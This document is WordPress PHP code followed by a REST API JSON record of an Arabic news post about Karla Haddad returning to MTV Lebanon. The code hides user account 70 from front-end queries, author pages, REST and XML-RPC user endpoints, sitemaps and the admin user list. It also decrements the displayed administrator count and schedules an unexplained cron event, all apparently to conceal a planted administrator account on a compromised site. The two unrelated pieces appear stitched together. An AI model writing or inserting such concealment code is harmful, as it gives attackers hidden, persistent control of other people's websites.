
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 70;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 70 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 70 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 70;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 70;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 70;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/70(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 70;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-70{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":615693,"date":"2025-11-22T02:29:46","date_gmt":"2025-11-22T00:29:46","guid":{"rendered":"https:\/\/znnlb.com\/?p=615693"},"modified":"2025-11-22T02:48:54","modified_gmt":"2025-11-22T00:48:54","slug":"%d8%a8%d8%a7%d9%84%d9%81%d9%8a%d8%af%d9%8a%d9%88-%d9%80-%d9%8a%d9%84%d8%a7%d9%91-%d9%86%d8%af%d8%a8%d9%83-%d9%83%d8%a7%d8%b1%d9%84%d8%a7-%d8%ad%d8%af%d8%a7%d8%af-%d8%aa%d8%b9%d9%88%d8%af-%d8%a7","status":"publish","type":"post","link":"https:\/\/znnlb.com\/?p=615693","title":{"rendered":"\u0628\u0627\u0644\u0641\u064a\u062f\u064a\u0648 \u0640 &#8220;\u064a\u0644\u0627\u0651 \u0646\u062f\u0628\u0643&#8221;.. \u0643\u0627\u0631\u0644\u0627 \u062d\u062f\u0627\u062f \u062a\u0639\u0648\u062f \u0644\u0644\u0640mtv!"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p><strong>\u0646\u0634\u0631\u062a \u0642\u0646\u0627\u0629 mtv \u0628\u0631\u0648\u0645\u0648 \u0644\u0628\u0631\u0646\u0627\u0645\u062c \u062c\u062f\u064a\u062f \u0628\u0639\u0646\u0648\u0627\u0646 &#8220;\u064a\u0644\u0651\u0627 \u0646\u062f\u0628\u0643&#8221; \u0633\u062a\u0628\u062f\u0623 \u0639\u0631\u0636\u0647 \u0642\u0631\u064a\u0628\u0627\u060c \u0648\u0627\u0644\u0645\u064f\u0641\u0627\u062c\u0623\u0629 \u0627\u0646\u0647 \u0645\u0646 \u062a\u0642\u062f\u064a\u0645 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u0629 \u0643\u0627\u0631\u0644\u0627 \u062d\u062f\u0627\u062f \u0648\u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a \u0637\u0648\u0646\u064a \u0628\u0627\u0631\u0648\u062f \u0645\u0627 \u064a\u0624\u0643\u062f \u0639\u0648\u062f\u0629 \u0627\u0644\u0623\u062e\u064a\u0631\u0629 \u0625\u0644\u0649 \u0642\u0646\u0627\u0629 &#8220;\u0627\u0644\u0645\u0631&#8221;.<\/strong><\/p>\n<p><iframe id=\"instagram-embed-0\" class=\"instagram-media instagram-media-rendered\" src=\"https:\/\/www.instagram.com\/reel\/DRSUhbzDbLE\/embed\/captioned\/?cr=1&amp;v=14&amp;wp=675&amp;rd=https%3A%2F%2Fbackoffice.akhbaralyawm.com&amp;rp=%2Fbackoffice20prod20adm%2FNews%2Fdefault.aspx#%7B%22ci%22%3A0%2C%22os%22%3A51799.800000190735%2C%22ls%22%3A51777.800000190735%2C%22le%22%3A51780.90000009537%7D\" width=\"300\" height=\"719\" frameborder=\"0\" scrolling=\"no\" allowfullscreen=\"allowfullscreen\" data-instgrm-payload-id=\"instagram-media-payload-0\" data-mce-fragment=\"1\"><\/iframe><\/p>\n<p><strong>\u0648\u0623\u0637\u0644\u062a \u062d\u062f\u0627\u062f \u0641\u064a \u0627\u0644\u0628\u0631\u0648\u0645\u0648 \u0625\u0644\u0649 \u062c\u0627\u0646\u0628 \u0632\u0645\u064a\u0644\u0647\u0627 \u0637\u0648\u0646\u064a \u0628\u0627\u0631\u0648\u062f \u0628\u0641\u0633\u062a\u0627\u0646 \u0623\u062d\u0645\u0631 .<\/strong><\/p>\n<p><strong>\u0648\u0643\u0627\u0646\u062a \u0643\u0627\u0631\u0644\u0627 \u0642\u062f\u0645\u062a \u0627\u0633\u062a\u0642\u0627\u0644\u062a\u0647\u0627 \u0645\u0646 \u0627\u0644\u0640 MTV \u0642\u0628\u0644 \u0633\u0646\u0648\u0627\u062a \u062d\u064a\u062b \u0642\u062f\u0645\u062a \u0628\u0631\u0646\u0627\u0645\u062c &#8220;\u0627\u0644\u0631\u0642\u0635 \u0645\u0639 \u0627\u0644\u0646\u062c\u0648\u0645&#8221;\u060c \u0648\u0639\u0627\u062f\u062a \u0625\u0644\u0649 \u0634\u0627\u0634\u0629 \u0627\u0644\u0640LBCI \u0627\u0644\u062a\u064a \u0627\u0646\u0637\u0644\u0642\u062a \u0645\u0646\u0647\u0627 \u0643\u0645\u0630\u064a\u0639\u0629 \u0637\u0642\u0633\u060c \u0648\u0642\u062f\u0645\u062a \u0641\u064a \u0627\u0644\u0633\u0646\u0648\u0627\u062a \u0627\u0644\u0623\u062e\u064a\u0631\u0629 \u0639\u062f\u0629 \u0628\u0631\u0627\u0645\u062c \u0639\u0628\u0631 \u0627\u0644\u0640 lbci \u0622\u062e\u0631\u0647\u0627 \u0643\u0627\u0646 \u0628\u0631\u0646\u0627\u0645\u062c The Stage.<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; \u0646\u0634\u0631\u062a \u0642\u0646\u0627\u0629 mtv \u0628\u0631\u0648\u0645\u0648 \u0644\u0628\u0631\u0646\u0627\u0645\u062c \u062c\u062f\u064a\u062f \u0628\u0639\u0646\u0648\u0627\u0646 &#8220;\u064a\u0644\u0651\u0627 \u0646\u062f\u0628\u0643&#8221; \u0633\u062a\u0628\u062f\u0623 \u0639\u0631\u0636\u0647 \u0642\u0631\u064a\u0628\u0627\u060c \u0648\u0627\u0644\u0645\u064f\u0641\u0627\u062c\u0623\u0629 \u0627\u0646\u0647 \u0645\u0646 \u062a\u0642\u062f\u064a\u0645 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u0629 \u0643\u0627\u0631\u0644\u0627 \u062d\u062f\u0627\u062f \u0648\u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a \u0637\u0648\u0646\u064a \u0628\u0627\u0631\u0648\u062f \u0645\u0627 \u064a\u0624\u0643\u062f \u0639\u0648\u062f\u0629 \u0627\u0644\u0623\u062e\u064a\u0631\u0629 \u0625\u0644\u0649 \u0642\u0646\u0627\u0629 &#8220;\u0627\u0644\u0645\u0631&#8221;. \u0648\u0623\u0637\u0644\u062a \u062d\u062f\u0627\u062f \u0641\u064a \u0627\u0644\u0628\u0631\u0648\u0645\u0648 \u0625\u0644\u0649 \u062c\u0627\u0646\u0628 \u0632\u0645\u064a\u0644\u0647\u0627 \u0637\u0648\u0646\u064a \u0628\u0627\u0631\u0648\u062f \u0628\u0641\u0633\u062a\u0627\u0646 \u0623\u062d\u0645\u0631 . \u0648\u0643\u0627\u0646\u062a \u0643\u0627\u0631\u0644\u0627 \u0642\u062f\u0645\u062a \u0627\u0633\u062a\u0642\u0627\u0644\u062a\u0647\u0627 \u0645\u0646 \u0627\u0644\u0640 MTV \u0642\u0628\u0644 \u0633\u0646\u0648\u0627\u062a \u062d\u064a\u062b \u0642\u062f\u0645\u062a \u0628\u0631\u0646\u0627\u0645\u062c &#8220;\u0627\u0644\u0631\u0642\u0635<\/p>\n","protected":false},"author":39,"featured_media":615694,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3510],"tags":[],"class_list":["post-615693","post","type-post","status-publish","format-standard","has-post-thumbnail","category-3510"],"_links":{"self":[{"href":"https:\/\/znnlb.com\/index.php?rest_route=\/wp\/v2\/posts\/615693","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/znnlb.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/znnlb.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/znnlb.com\/index.php?rest_route=\/wp\/v2\/users\/39"}],"replies":[{"embeddable":true,"href":"https:\/\/znnlb.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=615693"}],"version-history":[{"count":2,"href":"https:\/\/znnlb.com\/index.php?rest_route=\/wp\/v2\/posts\/615693\/revisions"}],"predecessor-version":[{"id":615696,"href":"https:\/\/znnlb.com\/index.php?rest_route=\/wp\/v2\/posts\/615693\/revisions\/615696"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/znnlb.com\/index.php?rest_route=\/wp\/v2\/media\/615694"}],"wp:attachment":[{"href":"https:\/\/znnlb.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=615693"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/znnlb.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=615693"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/znnlb.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=615693"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}